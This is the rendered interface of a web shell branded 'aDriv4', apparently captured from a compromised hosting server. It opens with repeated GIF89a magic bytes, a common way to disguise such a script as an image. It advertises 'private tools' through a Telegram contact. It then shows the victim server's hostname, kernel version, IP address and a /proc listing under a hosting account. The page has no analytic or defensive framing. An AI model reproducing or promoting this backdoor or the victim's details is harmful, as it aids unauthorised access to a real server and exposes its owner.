GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium73.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 68.65.122.244
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-18 09:54:31
.. dir - root/root 0755 2025-08-05 06:44:54
2185348 dir - carpkozk/carpkozk 0555 2025-10-12 08:28:39
2187554 dir - carpkozk/carpkozk 0555 2025-10-12 08:28:50
775667 dir - carpkozk/carpkozk 0555 2025-10-12 08:28:33
acpi dir - root/root 0555 2025-06-18 09:54:34
bus dir - root/root 0555 2025-06-18 09:54:43
driver dir - root/root 0555 2025-10-12 08:28:56
fs dir - root/root 0555 2025-06-18 09:54:43
irq dir - root/root 0555 2025-06-18 09:54:43
kcare dir - root/root 0555 2025-10-12 08:28:56
lve dir - root/root 0555 2025-10-12 08:28:34
net link - carpkozk/carpkozk 0555 2025-10-12 08:28:56
scsi dir - root/root 0555 2025-06-18 09:54:43
self link - carpkozk/carpkozk 0555 2025-10-12 08:28:50
sys dir - root/root 0555 2025-06-18 09:54:32
sysvipc dir - root/root 0555 2025-10-12 08:28:56
thread-self link - carpkozk/carpkozk 0555 2025-10-12 08:28:52
tty dir - root/root 0555 2025-10-12 08:28:56
buddyinfo 0 B root/root 0444 2025-10-12 08:28:56
cgroups 0 B root/root 0444 2025-10-12 08:28:56
cmdline text/plain 0 B root/root 0444 2025-10-12 08:28:37
consoles 0 B root/root 0444 2025-10-12 08:28:56
cpuinfo text/plain 0 B root/root 0444 2025-10-12 08:28:37
crypto 0 B root/root 0444 2025-10-12 08:28:56
devices 0 B root/root 0444 2025-10-12 08:28:56
diskstats 0 B root/root 0444 2025-10-12 08:28:35
dma 0 B root/root 0444 2025-10-12 08:28:56
execdomains 0 B root/root 0444 2025-10-12 08:28:56
fb 0 B root/root 0444 2025-10-12 08:28:56
filesystems text/plain 0 B root/root 0444 2025-10-12 08:28:33
interrupts 0 B root/root 0444 2025-10-12 08:28:56
iomem 0 B root/root 0444 2025-10-12 08:28:56
ioports 0 B root/root 0444 2025-10-12 08:28:56
kallsyms 0 B root/root 0444 2025-06-18 09:54:43
kcore 128 TB root/root 0400 2025-06-18 09:54:34
key-users 0 B root/root 0444 2025-10-12 08:28:56
keys 0 B root/root 0444 2025-10-12 08:28:56
kmsg 0 B root/root 0400 2025-10-12 08:28:56
kpagecgroup 0 B root/root 0400 2025-10-12 08:28:56
kpagecount 0 B root/root 0400 2025-10-12 08:28:56
kpageflags 0 B root/root 0400 2025-10-12 08:28:56
loadavg text/plain 0 B root/root 0444 2025-10-12 08:28:39
locks 0 B root/root 0444 2025-10-12 08:28:56
mdstat 0 B root/root 0444 2025-10-12 08:28:56
meminfo text/plain 0 B root/root 0444 2025-10-12 08:20:08
misc 0 B root/root 0444 2025-10-12 08:28:56
modules 0 B root/root 0444 2025-10-12 08:28:56
mounts text/plain 0 B carpkozk/carpkozk 0444 2025-10-12 08:28:56
mtrr 0 B root/root 0644 2025-06-18 09:54:43
pagetypeinfo 0 B root/root 0400 2025-10-12 08:28:56
partitions 0 B root/root 0444 2025-10-12 08:28:56
sched_debug 0 B root/root 0444 2025-10-12 08:28:56
schedstat 0 B root/root 0444 2025-10-12 08:28:56
slabinfo 0 B root/root 0400 2025-10-12 08:28:56
softirqs 0 B root/root 0444 2025-10-12 08:28:56
stat text/plain 0 B root/root 0444 2025-10-12 08:20:08
swaps 0 B root/root 0444 2025-06-18 09:54:32
sysrq-trigger 0 B root/root 0200 2025-06-18 09:54:43
timer_list 0 B root/root 0400 2025-10-12 08:28:56
uptime text/plain 0 B root/root 0444 2025-10-12 08:20:08
version text/plain 0 B root/root 0444 2025-10-12 08:28:56
vmallocinfo 0 B root/root 0400 2025-10-12 08:28:56
vmstat 0 B root/root 0444 2025-10-12 08:28:40
zoneinfo 0 B root/root 0444 2025-10-12 08:28:56
© aDriv4